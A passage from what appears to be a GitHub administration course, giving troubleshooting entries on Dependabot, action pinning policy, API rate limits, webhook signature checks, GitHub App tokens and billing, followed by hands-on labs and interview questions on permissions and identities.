Insights → Dependency graph → Dependabot pip / Last checked 2 hours ago ⚠ Dependabot can't resolve your Python dependency files # or: shows “5 open pull requests” and then stops creating new ones (open-pull-requests-limit reached)
Root cause checklist:① .github/dependabot.yml The configuration is invalid (the web UI shows an error) or directory points to the wrong directory (the manifest is in /services/api); ② the open-pull-requests-limit is reached (the default for version updates is 5); ③ the dependency is ignored by an ignore rule or by a closed PR with the same name (closing a Dependabot PR makes it ignore that version); ④ private registry authentication fails (needs registries + Dependabot secrets); ⑤ security updates require Dependabot alerts to be enabled first, and a PR is created only if a fixed version exists; ⑥ forks and archived repositories do not run by default; ⑦ dependency resolution fails (lock file conflicts, unsatisfiable version constraints).
Diagnostic commands
gh api repos/O/R/contents/.github/dependabot.yml -q .content | base64 -d gh api repos/O/R/dependabot/alerts -q '.[] | [.number, .dependency.package.name, .state, .security_advisory.severity] | @tsv' | head gh pr list --author app/dependabot --state all -L 10 gh run list -w "Dependabot Updates" -L 5 2>/dev/null # you can view logs when Dependabot runs on Actions (depending on configuration)
Fix
version: 2
registries:
pypi-internal:
type: python-index
url: https://pkgs.example.com/simple
token: ${{ secrets.PYPI_TOKEN }} # this is a Dependabot secret, not an Actions secret
updates:
- package-ecosystem: pip
directory: "/services/api"
schedule: { interval: weekly }
open-pull-requests-limit: 10
groups:
minor-and-patch: { update-types: [minor, patch] } # merge into fewer PRs to reduce noise
registries: [pypi-internal]
- package-ecosystem: github-actions
directory: "/"
schedule: { interval: weekly }
Prevention and best practices
- Use groups to control the number of PRs; pair with auto-merge for patch updates (requires required status checks protection).
#42 Third-party action blocked by organization policy: The action … is not allowed in … because all actions must be …
Error: The action tj-actions/changed-files@v46 is not allowed in myorg-lab/myapp because all actions must be from a repository owned by myorg-lab, created by GitHub, or verified in the GitHub Marketplace. # After enabling the “require full-length commit SHA pinning” policy: Error: The action dorny/paths-filter@v4 is not allowed in myorg-lab/myapp because all actions must be pinned to a full-length commit SHA.
Root cause: The organization/enterprise Actions policy restricts which action sources are allowed (only this organization, GitHub-created actions, verified Marketplace creators, or an explicit allowlist), and can require pinning by full commit SHA. This is a supply-chain safeguard. The 2025-03 tj-actions/changed-files incident (CVE-2025-30066): attackers repointed multiple version tags of the action to malicious commits, and workflows that reference it by tag printed secrets to the log. Users who pinned by SHA were not affected.
Diagnostic commands
gh api orgs/O/actions/permissions -q '{enabled_repositories, allowed_actions, sha_pinning_required}'
gh api orgs/O/actions/permissions/selected-actions
git ls-remote https://github.com/dorny/paths-filter refs/tags/v4.0.3 # look up the SHA a tag points to
Fix
# Pin by full SHA, and write the version in a comment so Dependabot can update it
- uses: dorny/paths-filter@<40-character commit SHA> # v4.0.3 (look it up with git ls-remote; not hard-coded in the course material)
- To use a new third-party action, go through the organization's request process (security review → add to the allowlist); or fork it into the organization, audit it, and use the fork.
- Do not change the policy to “Allow all actions” just to get things running.
Prevention and best practices
- Dependabot
github-actionsEcosystem tools update both the SHA and the version comment together; use zizmor or OpenSSF Scorecard to check for unpinned references.
See Lesson 5 Actions security hardening · organization-level governance.
#43 API rate limit: 403 API rate limit exceeded / You have exceeded a secondary rate limit (403/429)
HTTP/2.0 403
x-ratelimit-limit: 5000
x-ratelimit-remaining: 0
x-ratelimit-reset: 1763221200
x-ratelimit-resource: core
{"message":"API rate limit exceeded for user ID 1234567. If you reach out to GitHub Support for help, please include the request ID …","documentation_url":"https://docs.github.com/rest/overview/rate-limits-for-the-rest-api","status":"403"}
HTTP/2.0 429
retry-after: 60
{"message":"You have exceeded a secondary rate limit. Please wait a few minutes before you try again. …"}
Root cause:Primary rate limit counts requests per hour per identity: unauthenticated 60 (per IP), user tokens 5,000,GITHUB_TOKEN 1,000 per repository; GitHub App installation tokens get at least 5,000 (it grows with the number of repositories and users; up to 12,500 for non-Enterprise, 15,000 for Enterprise Cloud). Secondary rate limit prevents bursts: no more than 100 concurrent requests, 900 REST points per minute (GET 1 point, writes 5 points), 2,000 GraphQL points per minute, about 80 content creations per minute, etc. (figures from the official docs, verified 2026-11). Typical causes: a script calling 500 repositories concurrently, polling instead of webhooks, querying in a loop data that one GraphQL query could fetch, and all CI sharing one bot PAT.
Diagnostic commands
gh api rate_limit -q '.resources | {core, graphql, search}'
gh api -i repos/O/R 2>&1 | grep -i '^x-ratelimit'
Fix: honor the back-off indicated in response headers
#!/usr/bin/env bash
# gh-retry.sh: back off and retry on 403/429 (usage: ./gh-retry.sh repos/O/R/issues)
for attempt in 1 2 3 4 5; do
out=$(gh api -i "$@" 2>&1); code=$(echo "$out" | awk '/^HTTP/{print $2; exit}')
if [[ "$code" != "403" && "$code" != "429" ]]; then echo "$out" | sed '1,/^\r\?$/d'; exit 0; fi
ra=$(echo "$out" | awk -F': ' 'tolower($1)=="retry-after"{print $2+0}')
rs=$(echo "$out" | awk -F': ' 'tolower($1)=="x-ratelimit-reset"{print $2+0}')
rem=$(echo "$out" | awk -F': ' 'tolower($1)=="x-ratelimit-remaining"{print $2+0}')
if [[ -n "$ra" ]]; then wait=$ra
elif [[ "$rem" == "0" && -n "$rs" ]]; then wait=$(( rs - $(date +%s) + 1 ))
else wait=$(( 60 * attempt )); fi # secondary limit with no retry-after: wait at least 1 minute, increasing with each attempt
echo "Rate limited (HTTP $code), retrying in ${wait}s, attempt #$attempt" >&2; sleep "$wait"
done; exit 1
- Architecturally: use webhooks instead of polling; merge queries with GraphQL; use conditional requests (
If-None-Matchwith ETags; a 304 response does not count); serialize write operations; give each automation its own GitHub App.
Prevention and best practices
- Monitor
x-ratelimit-remaining, and slow down when it falls below 10%; Octokit's throttling/retry plugins build in the logic above.
See Lesson 7 API, webhooks and GitHub Apps: rate limits and reliability,Lesson 1 gh CLI and the REST/GraphQL APIs.
#44 Webhook signature check fails: X-Hub-Signature-256 does not match the computed value (receiver returns 401)
Settings → Webhooks → Recent Deliveries
✗ 401 {"error":"invalid signature"} Response time 12 ms
# receiver log: expected sha256=9f2c… got sha256=4b1a…
Root cause: GitHub uses the webhook secret to compute HMAC-SHA256 over the raw request body bytes, and sends it in the X-Hub-Signature-256: sha256=<hex> header. Common mistakes: ① the framework parses and re-serializes the JSON before computing (key order, spacing and Unicode escapes change); ② it uses the application/x-www-form-urlencoded content type, but computes the signature over the parsed payload fields; ③ the secret differs between the two ends (an extra newline, or only one side was updated after rotation); ④ still verifying the old SHA-1 header X-Hub-Signature; ⑤ comparing with == (this is not the cause of the error, but it carries timing-attack risk, so use constant-time comparison). Another related symptom: handling takes longer than 10 seconds without a response, and GitHub treats it as a timeout failure.
Diagnostic commands
gh api repos/O/R/hooks -q '.[] | [.id, .config.url, .config.content_type, .last_response.code] | @tsv'
gh api repos/O/R/hooks/<hook-id>/deliveries -q '.[:5][] | [.id, .event, .status_code, .duration] | @tsv'
# recompute locally from a saved raw request body:
printf '%s' "$(cat body.json)" | openssl dgst -sha256 -hmac "$WEBHOOK_SECRET" | awk '{print "sha256="$2}'
Fix (Python Flask example)
import hmac, hashlib, os
from flask import Flask, request, abort
app = Flask(__name__)
SECRET = os.environ["WEBHOOK_SECRET"].encode()
@app.post("/github/webhook")
def hook():
sig = request.headers.get("X-Hub-Signature-256", "")
body = request.get_data() # raw bytes; do not re-serialize with request.json
expected = "sha256=" + hmac.new(SECRET, body, hashlib.sha256).hexdigest()
if not hmac.compare_digest(expected, sig): # constant-time comparison
abort(401)
# enqueue first and return 2xx immediately; hand slow processing to a background job, and de-duplicate by X-GitHub-Delivery
return "", 202
Prevention and best practices
- Use the content type
application/json; store the secret in a key management service; failed deliveries can be redelivered from the web UI or the API.
#45 GitHub App token expired / invalid JWT: 401 Bad credentials, 'Expiration time' claim ('exp') is too far in the future
{"message":"Bad credentials","documentation_url":"https://docs.github.com/rest","status":"401"}
# when exchanging the JWT for an installation token:
{"message":"'Expiration time' claim ('exp') is too far in the future","documentation_url":"…"}
{"message":"'Issued at' claim ('iat') must be an Integer representing the time that the assertion was issued","documentation_url":"…"}
Root cause: A GitHub App has two kinds of tokens: ① a JWT signed with the private key JWT (App identity),exp valid for at most 10 minutes; if the server clock is ahead or behind, or the expiration is set to exp 1 hour, it is rejected (recommended: backdate iat by 60 seconds); ② the installation token (ghs_…),which expires after 1 hour. A long-running service or job that fetches a token once at startup will get 401 on every request after an hour. Also: the private key was rotated and the old key deleted; or the App was uninstalled from the organization, or its permission changes are pending approval.
Diagnostic commands
date -u; curl -sI https://api.github.com | grep -i '^date' # clock skew
curl -s -H "Authorization: Bearer $INSTALLATION_TOKEN" https://api.github.com/installation/repositories -o /dev/null -w '%{http_code}\n'
# the response to the token exchange includes the expiration time:
# POST /app/installations/{id}/access_tokens → {"token":"ghs_…","expires_at":"2026-11-15T16:05:00Z", …}
Fix
- Server side: cache the token and refresh it
expires_at5 minutes before it expires (Octokit's App authentication does this automatically); for the JWT, setiat = now - 60,exp = now + 540; and enable NTP on the host. - In Actions: use
actions/create-github-app-tokento generate it before the steps that need it; in jobs longer than 1 hour, regenerate it before later steps.
Prevention and best practices
- Scope installation tokens to
repositoriesandpermissions; keep the private key in Key Vault/KMS, rotate it regularly, and keep an overlap period.
#46 Minutes/storage overrun: The job was not started because recent account payments have failed or your spending limit needs to be increased.
The job was not started because recent account payments have failed or your spending limit needs to be increased. Please check the 'Billing & plans' section of your settings # storage: Error: Failed to CreateArtifact: Artifact storage quota has been hit. Unable to upload any new artifacts. Usage is recalculated every 6-12 hours.
Root cause: Private repositories get a free allowance of hosted runner minutes and Actions/Packages storage depending on the plan; usage beyond that is billed. When the budget (spending limit / budget) is set to 0 or used up, or a payment fails, jobs in private repositories will not start (public repositories use standard hosted runners for free). Different runners have different unit prices (Windows, macOS and larger runners cost more). GitHub lowered hosted runner prices from 2026-01-01 and planned to charge a platform fee for self-hosted runners but has announced a postponement (see the latest notes in GitHub's official billing docs and Changelog). Actions storage other than artifacts and caches shares the storage quota with GitHub Packages; usage is recalculated every 6–12 hours, and deleting artifacts does not restore it immediately.
Diagnostic commands
gh api orgs/O/settings/billing/usage -q '.usageItems[:10][] | [.date, .product, .sku, .quantity, .netAmount] | @tsv' 2>/dev/null \ || echo "Billing API: check the current docs (endpoints of the newer enhanced billing platform)" gh api repos/O/R/actions/artifacts --paginate -q '.artifacts[] | [.name, .size_in_bytes, .created_at] | @tsv' | sort -k2 -n | tail
Fix
- Short term: a billing manager adjusts the budget or updates the payment method; delete large, old artifacts (
gh api -X DELETE repos/O/R/actions/artifacts/<id>). - Long term: set artifact
retention-days: 7; PRs run only on Linux; macOS/Windows run only on main/nightly; concurrency cancels outdated runs (#18); settimeout-minuteson every job (#20).
Prevention and best practices
- Set budgets and alerts by cost center (75% / 90% / 100%); review the usage report monthly for the most expensive repositories and workflows.
#47 Dependabot PR CI fails: secrets are empty, GITHUB_TOKEN is read-only
Run npm ci npm error code E401 npm error 401 Unauthorized - GET https://npm.pkg.github.com/@myorg-lab%2fui-kit - authentication token not provided # or: Error: Input required and not supplied: token
Root cause: Workflow runs triggered by Dependabot are treated the same as untrusted code from outside: Actions secrets are not available (only the separately configured Dependabot secrets),GITHUB_TOKEN defaults to read-only. This prevents malicious dependency updates from stealing secrets.
Diagnostic commands
gh pr view <n> --json author -q .author.login # app/dependabot gh secret list --app dependabot # list of Dependabot secrets gh secret list --app actions
Fix
gh secret set NPM_TOKEN --app dependabot --body "$NPM_READ_TOKEN" # only put a read-only token here
- For write operations (such as auto-merge or adding labels): in the workflow, check
github.actor == 'dependabot[bot]'and explicitly declarepermissions; do not run steps that use secrets on Dependabot PRs. - Do not switch to
pull_request_targetto “get the secrets” and then run the dependency install script — this would let a malicious package run in a context that holds secrets.
Prevention and best practices
- For private registries, prefer OIDC or read-only tokens; rotate Dependabot secrets and Actions secrets separately.
See Lesson 6 Dependabot and dependency review,Lesson 2 secrets and GITHUB_TOKEN.
#48 gh attestation verify fails: no attestations found / signer identity mismatch
$ gh attestation verify oci://ghcr.io/myorg-lab/myapp:1.4.0 --owner myorg-lab Loaded digest sha256:7c1e… for oci://ghcr.io/myorg-lab/myapp:1.4.0 Error: ✗ Loading attestations from GitHub API failed no attestations found for subject # or if the signing workflow is restricted: ✗ Verification failed: expected SourceRepositoryURI to be https://github.com/myorg-lab/myapp, got https://github.com/myorg-lab/myapp-fork
Root cause:① the workflow that generates the attestation lacks permissions: id-token: write, attestations: write (and the packages: write permission needed to push to a registry),actions/attest-build-provenance the step fails or is skipped; ② the attestation is bound to the digest: the image was rebuilt or re-pushed after attestation (the tag now points to a new digest); ③ attestations for artifacts in private or internal repositories require GitHub Enterprise Cloud (available on all plans for public repositories; see the official docs); ④ the verification parameters are too strict or wrong (--repo,--signer-workflow do not match the actual values); ⑤ offline environments cannot reach the API and must first download the attestation bundle and then --bundle verify it.
Diagnostic commands
docker buildx imagetools inspect ghcr.io/myorg-lab/myapp:1.4.0 --format '{{json .Manifest.Digest}}'
gh api orgs/myorg-lab/attestations/sha256:7c1e… -q '.attestations | length'
gh attestation verify oci://ghcr.io/myorg-lab/myapp@sha256:7c1e… --repo myorg-lab/myapp --format json | jq '.[0].verificationResult.signature.certificate | {sourceRepositoryURI, buildSignerURI}'
Fix
permissions: { contents: read, packages: write, id-token: write, attestations: write }
steps:
- id: push
uses: docker/build-push-action@v6
with: { push: true, tags: "ghcr.io/${{ github.repository }}:${{ github.sha }}" }
- uses: actions/attest-build-provenance@v3 # check Releases for the major version
with:
subject-name: ghcr.io/${{ github.repository }}
subject-digest: ${{ steps.push.outputs.digest }}
push-to-registry: true
Prevention and best practices
- On the deployment side, reference images by digest and verify them at the admission stage (on K8s, Kyverno or Sigstore policy-controller can do this).
See Lesson 5 artifact attestations and supply chain (SLSA) · GitHub Packages and GHCR.
#49 Dependency review unavailable: Dependency review is not supported on this repository
Run actions/dependency-review-action@v4 Error: Dependency review is not supported on this repository. Please ensure that Dependency graph is enabled along with GitHub Advanced Security on private repositories, see https://github.com/myorg-lab/myapp/settings/security_analysis
Root cause: Dependency review compares the dependency graph before and after a PR, which requires: ① Dependency graph enabled on the repository; ② for private or internal repositories, the corresponding GitHub Code Security license (formerly GHAS); ③ the workflow runs on the pull_request event (or provides base/head refs); ④ dependencies exist in manifests or lock files supported by the dependency graph, or are submitted via the dependency submission API (for ecosystems where dependencies are only determined at build time, such as Gradle or multi-module Maven).
Diagnostic commands
gh api repos/O/R -q '{private, visibility, security_and_analysis}'
gh api repos/O/R/dependency-graph/sbom -q '.sbom.packages | length' # does the dependency graph have data?
Fix
- Settings → Code security: enable Dependency graph (enabled by default for public repositories); for private repositories, enable a Code Security license.
- Build-time dependencies: submit a dependency snapshot from CI using the dependency submission action for the corresponding ecosystem.
Prevention and best practices
- Make dependency-review a required check, and configure
fail-on-severity: highand a license allowlist.
See Lesson 6 Dependabot and dependency review · overview of GitHub security products and licensing.
#50 On the day an employee leaves, a dozen automations get 401 Bad credentials at once (machine access depends on a personal PAT)
nightly-sync ✗ gh: Bad credentials (HTTP 401) release-bot ✗ remote: Invalid username or token. Password authentication is not supported for Git operations. terraform-github ✗ Error: GET https://api.github.com/orgs/myorg-lab: 401 Bad credentials [] # Cause: these secrets all hold bob's personal PAT; bob was removed from the organization, his account was disabled, or the PAT expired
Root cause: A personal PAT represents “a specific person”: when that person leaves the organization, is removed from SSO, the token expires, or organization policy revokes it, every automation that depends on it fails at once; and while that person was employed, these tokens had all of that person's own permissions, and the audit log cannot tell whether a person or a machine performed the operation.
Diagnostic commands
gh api orgs/O/personal-access-tokens -q '.[] | [.owner.login, .token_name, .token_expires_at, .token_last_used_at] | @tsv' 2>/dev/null # fine-grained PAT inventory (organization admins) gh secret list --org O ; for r in $(gh repo list O -L 200 --json name -q '.[].name'); do gh secret list -R O/$r 2>/dev/null | sed "s|^|$r\t|"; done | grep -iE 'PAT|TOKEN' # audit log: filter recent API/git operations by actor and token (Settings → Audit log, or the audit-log API, which requires Enterprise Cloud)
Fix
- Urgent: temporarily restore service with a service-based approach (for example, the platform team creates a GitHub App and installs it on the affected repositories), then replace the secrets one by one.
- Long term: move all machine access to GitHub App (organization-owned, least privilege, 1-hour tokens, shown in the audit log as
app/xxx[bot]); use OIDC for deployments; where a PAT is truly needed, use an organization-owned machine account + fine-grained PAT + expiration date + approval.
Prevention and best practices
- Organization policy: restrict classic PATs; require approval and a maximum lifetime for fine-grained PATs; the offboarding checklist should include “tokens, Apps, deploy keys and webhooks created by this person”.
See Lesson 6 organization and enterprise governance,Lesson 7 GitHub App.
Interactive troubleshooting decision tree: “security / governance / API / billing” failures
Lab 4-1: observe the rate-limit headers and verify the backoff script (#43)
curl -sI https://api.github.com/repos/cli/cli | grep -i '^x-ratelimit' # unauthenticated: limit 60
gh api -i repos/cli/cli 2>&1 | grep -i '^x-ratelimit' # authenticated: limit 5000
# Conditional request: a 304 with an ETag does not consume primary quota
ET=$(gh api -i repos/cli/cli 2>&1 | awk -F': ' 'tolower($1)=="etag"{print $2}' | tr -d '\r')
gh api -i repos/cli/cli -H "If-None-Match: $ET" 2>&1 | head -1 # HTTP/2.0 304
# After saving gh-retry.sh from #43:
chmod +x gh-retry.sh && ./gh-retry.sh repos/cli/cli -q .full_nameLab 4-2: webhook HMAC verification (#44, local only)
mkdir -p /tmp/wh && cd /tmp/wh
SECRET='lab8-not-a-real-secret'
printf '{"zen":"Keep it logically awesome.","hook_id":1}' > body.json
SIG="sha256=$(openssl dgst -sha256 -hmac "$SECRET" body.json | awk '{print $2}')"; echo "$SIG"
# Wrong approach: re-serialize after parsing (whitespace/key order changes)
jq -c --sort-keys . body.json > reser.json
echo "sha256=$(openssl dgst -sha256 -hmac "$SECRET" reser.json | awk '{print $2}')" # differs from the above → signature check failsBuild the receiver from the Flask example in #44. Use curl -X POST -H "X-Hub-Signature-256: $SIG" -H 'Content-Type: application/json' --data-binary @body.json localhost:5000/github/webhook to test; it should return 202, and changing one byte should return 401.
rm -rf /tmp/wh
Lab 4-3: GitHub App installation token lifecycle (#45)
- Settings → Developer settings → GitHub Apps → New: grant only
Metadata: read,Issues: write, install it ongh8-lab, download the private key. - Set the variable in gh8-lab
APP_IDand secretAPP_PRIVATE_KEY, then run:
- id: app
uses: actions/create-github-app-token@v2 # check Releases for the current major version
with: { app-id: "${{ vars.APP_ID }}", private-key: "${{ secrets.APP_PRIVATE_KEY }}" }
- run: |
curl -s -H "Authorization: Bearer ${{ steps.app.outputs.token }}" https://api.github.com/installation/repositories | jq '.repositories[].full_name'
gh issue create -t "from app" -b "x" -R "$GITHUB_REPOSITORY" # author appears as <app>[bot]
env: { GH_TOKEN: "${{ steps.app.outputs.token }}" }Observe: if this issue triggers another workflow (such as on: issues), it will trigger normally— unlike GITHUB_TOKEN (#13). Cleanup: close the issue, uninstall and delete the App, and delete the private key file and secret.
Lab 4-4: push protection (public repository, #39)
Push protection is enabled by default on public repositories. Do not use real secrets for this lab; the GitHub docs provide an example approach for testing (see the “Testing push protection” docs for the current method). Observe the unblock-secret URL and optional bypass reason, then do not bypass, use git reset --soft HEAD~1 to undo the commit, remove the fake secret, and recommit.
Instructional video (title and channel verified via YouTube oEmbed)
No verified video covering API rate limits / webhook signatures / GitHub App tokens was found; official docs:Rate limits for the REST API · Validating webhook deliveries · Generating a JWT for a GitHub App.
- 0:00 Dashboard shows a dozen red runs, all with Bad credentials.
- 0:40 Check secrets: all are bob's PAT.
- 1:20 Compare the four machine identities (Figure 4-1).
- 2:10 Replace them with a GitHub App and demo the 1-hour token and [bot] audit log entries.
Module 5 · Part B: Platform and collaboration (interview Q 1–13)
- Explain GitHub's permission hierarchy in one diagram: enterprise → organization → team → repository role → ruleset / environment.
- Choose the right identity for any automation scenario (GITHUB_TOKEN / GitHub App / fine-grained PAT / OIDC) and explain why.
- Git-level collaboration topics (merge vs rebase, how CODEOWNERS works) are already covered in Git course Lesson 8 so this section focuses on platform features.
Q1. What repository roles does GitHub have? How are permissions in an organization calculated?Beginner
30-second answer
Repositories have five built-in roles: Read, Triage, Write, Maintain, Admin; organization-level roles include Owner, Member, Billing manager, Security manager, and so on, and Enterprise Cloud also supports custom repository roles and custom organization roles. A person's effective permission on a repository is the highest level among the organization base permission, direct grants, and the permissions from each team they belong to (including inherited from parent teams); rulesets, environment protections, and similar policies then add restrictions on top.
In-depth answer
- Triage: manage issues/PRs (labels, assignees, closing) but cannot push code, suited to product managers/support.
- Maintain: manage most repository settings but cannot delete the repository, change visibility, or manage sensitive security settings.
- Teams can be nested,child teams inherit from parent teams repository permissions; teams can be synced from IdP groups.
- An outside collaborator only has access to the repositories they are granted, and is not an organization member.
gh api repos/O/R -q .permissions # my effective permissions
gh api repos/O/R/collaborators/bob/permission -q '{permission, role_name}'
Common follow-ups
- How do you let someone manage security alerts without changing code? — The Security manager organization role or a custom role.
- Why avoid granting access to individuals directly? — It is hard to audit, and offboarding cleanup is easy to miss; use teams instead.
Bonus points
Mention the design of returning 404 for private resources the user cannot view (Part A #1), and recommend setting the base permission to Read or None.
Common wrong answer
“Permissions take the lowest value from all sources” — wrong, it is the highest value; restrictions come from policy layers such as rulesets.
See Lesson 1 Repositories, organizations, teams, and the permission model.
Q2. What is the difference between personal accounts, organizations, enterprise accounts, and EMU? When do you need Enterprise Cloud?Intermediate
30-second answer
A personal account represents one person; an organization is the container where teams share repositories and permissions; an enterprise account (GitHub Enterprise Cloud) centralizes policy, billing, audit, and SAML SSO across multiple organizations. EMU (Enterprise Managed Users) goes further: the accounts themselves are created and managed by the enterprise IdP (usernames get a suffix, and users cannot contribute public content outside the enterprise), which suits strict compliance needs. Consider Enterprise Cloud when you need SAML SSO, audit log streaming, enterprise-level policies, merge queues and artifact attestations for private repositories, data residency, and so on.
In-depth answer
- Regular Enterprise Cloud: employees use their own GitHub accounts and access enterprise organizations through SAML SSO (PATs/SSH keys require SSO authorization, Part A #8).
- EMU: account lifecycle is managed through SCIM, so accounts are disabled when someone leaves; interaction with external public repositories is restricted.
- Data residency (enterprises on a GHE.com subdomain): meets data location requirements; feature availability differs for some features, so check the official docs.
Common follow-ups
- How many organizations should an enterprise have? — As few as possible (usually 1–3), separating them with teams and rulesets; many organizations make shared workflows, runners, and secrets more complex.
Bonus points
Be able to describe the EMU trade-off: stronger identity control vs. friction for open source contributions and external collaboration.
Common wrong answer
“EMU is just an enterprise with SSO enabled” — SSO is only an access control; with EMU the accounts are owned by the IdP.
See Lesson 1 Platform overview,Lesson 6 SSO, EMU, team sync.
Q3. What are the security differences between fork-based collaboration and same-repository branch collaboration on GitHub?Intermediate
30-second answer
PRs from same-repository branches are created by members with write access, and the workflow can access secrets and a writable GITHUB_TOKEN; fork PR code comes from untrusted external contributors, and GitHub's pull_request workflow runs do not pass secrets, the token is read-only, and first-time contributors also need maintainer approval to run. So open source projects use fork mode, and CI design must assume PR code is malicious.
In-depth answer
- Dangerous pattern:
pull_request_target(runs in the base repository context with secrets) + check out the PR head and execute it → “pwn request”. Starting with checkout v7, checking out a fork PR is blocked by default in this combination. - To write results back, use a two-stage
pull_request(no privileges, uploads artifacts) →workflow_run(has privileges, reads artifacts only, does not execute PR code). - Internal forks within an enterprise (internal repositories) may also be subject to policy restrictions: an organization can prohibit forking of private repositories.
Common follow-ups
workflow_runCan downloaded artifacts be trusted? — No, treat them as data to parse, never as scripts to execute.
Bonus points
Mention the OpenSSF Scorecard “Dangerous-Workflow” check and zizmor static analysis.
Common wrong answer
“Switching a fork PR to pull_request_target is enough to get secrets” — this creates the vulnerability.
See Lesson 2 Secrets and GITHUB_TOKEN,Lesson 5 Actions security hardening.
Q4. How do you roll out rulesets across an organization with 300 repositories without blocking everyone's work?Advanced
30-second answer
Use an organization-level ruleset to target repositories in bulk by repository properties/names, first in Evaluate mode for two weeks, review the pushes and PRs that would be blocked in Rule insights, and fix the workflow (required check names,merge_group) before switching to Active; give bypass only to a small break-glass team and release Apps, and choose the “For pull requests only” mode. Rulesets stack and the strictest rule applies: organization rulesets set the baseline, and repository rulesets strengthen it as needed.
In-depth answer
- Layering: organization level — block force pushes and deletion of the default branch, require PRs, required checks
ci-ok; repository level — CODEOWNERS review, protection for deployment tags. - Targeting: use custom properties (such as
tier=critical) to select repositories, which is more maintainable than name wildcards. - Management as code: Terraform
github_organization_rulesetor the API; changes go through PRs. - Metrics: number of bypasses, PR wait time.
Common follow-ups
- What happens when classic branch protection and rulesets coexist? — Both apply and stack. Replace them gradually during migration.
- Which plans offer Evaluate mode? — Check the official docs (public organization repositories and Enterprise).
Bonus points
Push rulesets (GA since 2024-09) can restrict file paths/extensions/sizes and apply across the entire repository network (including forks).
Common wrong answer
“Turn it on in all repositories and add admins to Always bypass” — work grinds to a halt on day one, and admins can bypass everything (Part A #5).
See Lesson 5 Organization-level governance,Lesson 6 Rulesets, audit logs, and compliance.
Q5. When should you use GITHUB_TOKEN, classic PATs, fine-grained PATs, GitHub Apps, and OIDC, respectively?Intermediate
30-second answer
Operations within a workflow the current repository use GITHUB_TOKEN (automatically issued, expires when the job ends, explicitly declare minimal permissions); for cross-repository/organization-level automation, use GitHub App installation tokens; to access cloud platforms, use OIDC; for personal temporary scripts on a local machine, use fine-grained PATs (single owner, limited to specific repositories, with an expiration date); classic PATs should be used only in the few scenarios that do not yet support fine-grained tokens.
In-depth answer
| Identity | Scope | Lifetime | Rate limit | Notes |
|---|---|---|---|---|
| GITHUB_TOKEN | the current repository | during the job | 1,000/h/repository | does not trigger new runs |
| App installation token | installed repositories, fine-grained permissions | 1 hour | ≥5,000/h | Owned by the organization, clear audit trail |
| Fine-grained PAT | Single owner, selected repositories | Expires | 5,000/h | Can require approval |
| Classic PAT | Everything the user can access (by scope) | Can never expire | 5,000/h | Highest risk |
| OIDC | Cloud role | Minute-level JWT | — | No long-lived keys |
Common follow-ups
- Why are Apps better than a machine account + PAT? — They don't use a user seat, permissions are fine-grained, tokens are short-lived, and offboarding has no impact (Part A #50).
Bonus points
Mention token prefixes (ghp_,github_pat_,ghs_,gho_) that help secret scanning identify tokens, and that organizations can restrict PAT types and lifetimes.
Common wrong answer
“Storing an admin PAT in secrets is the easiest” — permissions are too broad and it is tied to one person.
See Lesson 1 gh CLI and the API,Lesson 2 GITHUB_TOKEN permissions.
Q6. What is the difference between a GitHub App and an OAuth App?Intermediate
30-second answer
GitHub App Has its own identity and is installed on organizations/repositories, with fine-grained permissions that can be limited to specific repositories, short-lived tokens (1 hour), can subscribe to webhooks, and can act on behalf of users (user-to-server tokens; permissions are the intersection of App permissions and user permissions). OAuth App Acts only on behalf of users, authorized by scope (coarse-grained, for example repo includes all private repositories), and tokens do not expire automatically. GitHub officially recommends GitHub Apps for new integrations.
In-depth answer
- Auth flow: sign a JWT with the App private key (≤10 minutes) → exchange it for an installation token (1 hour).
- Rate limits scale with installation size (Enterprise Cloud 15,000/h).
- Organizations can approve or restrict third-party OAuth App access (OAuth app access restrictions).
Common follow-ups
- What if the App's private key leaks? — Immediately generate a new key in the App settings, delete the old key, and check App activity in the audit log.
Bonus points
Mention the App mechanism where requests for permission changes require the installer to re-approve, which prevents silent privilege escalation.
Common wrong answer
“A GitHub App is just a new name for an OAuth App” — the identity model is completely different.
Q7. How do you choose between the REST and GraphQL APIs? How do their rate limit rules differ?Intermediate
30-second answer
REST is simple and cacheable (ETag conditional requests that hit 304 do not count against quota) and suits single-resource operations; GraphQL fetches nested data on demand in one request (such as 100 PRs with their reviews and check status), reducing round trips, and features such as Projects v2 are available only in GraphQL. REST primary rate limits are based on request count (5,000/h for users); GraphQL uses query “points” (5,000 points per hour, estimated from the number of query nodes); secondary rate limits apply to both (100 concurrent requests, 900 points/min for REST, 2,000 points/min for GraphQL).
In-depth answer
gh api graphql -f query='
query($o:String!,$r:String!){ repository(owner:$o,name:$r){
pullRequests(states:OPEN, first:50){ nodes{ number title reviewDecision
commits(last:1){ nodes{ commit{ statusCheckRollup{ state } } } } } } } }' -f o=O -f r=R
gh api graphql -f query='{ rateLimit { cost remaining resetAt } }'
Common follow-ups
- How do you paginate? — REST uses the Link
Linkheaders (gh api --paginate), and GraphQL usespageInfo.endCursor.
Bonus points
For large-scale data sync, first consider webhooks + incremental updates, then batched GraphQL, and only finally polling REST.
Common wrong answer
“GraphQL has no rate limits” — it does, and complex queries are expensive.
Q8. What should you watch out for when designing a reliable GitHub webhook receiver service?Advanced
30-second answer
Five points: (1) compute HMAC-SHA256 over the raw request body and compare in constant time X-Hub-Signature-256; (2) return 2xx within 10 seconds: enqueue on receipt and process asynchronously; (3) use X-GitHub-Delivery X-GitHub-Delivery for idempotent deduplication; (4) deliveries may fail or arrive out of order, so processing should rely on the latest state retrieved from the API; (5) monitor failed deliveries, support redelivery (redeliver), and reconcile critical data periodically.
In-depth answer
- Architecture: API gateway → lightweight function that verifies the signature → queue (SQS/Service Bus) → worker.
- GitHub does not retry failed deliveries indefinitely, so use the deliveries API to find them and redeliver (see the official docs for current behavior).
- Security: subscribe only to the events you need; rotate the secret periodically (with a dual-secret transition period); do not trust arbitrary URLs in the payload.
Common follow-ups
- Why can't you rely only on webhooks? — They can be lost or arrive out of order, so a reconciliation job is needed as a fallback.
Bonus points
A GitHub App's webhook is configured once on the App, so you need only one endpoint no matter how many organizations it is installed in.
Common wrong answer
“Run the deployment synchronously when the webhook arrives and return only after it finishes” — leads to timeouts and duplicate execution.
See Lesson 7 APIs, webhooks, and GitHub Apps, Part A #44.
Q9. How do you build a traceable workflow with Issues, Projects, and PRs?Beginner
30-second answer
Issues describe requirements/defects (use issue forms to standardize fields), Projects (v2) organize issues and PRs across repositories in table, board, or roadmap views, and use custom fields (status, iteration, priority) and built-in automation (PR merged → status Done); write Closes #123, which automatically closes the issue when merged into the default branch, creating a traceable chain of “requirement → code → release”.
In-depth answer
- Sub-issues and issue types can express hierarchy and categorization (check the official docs for availability).
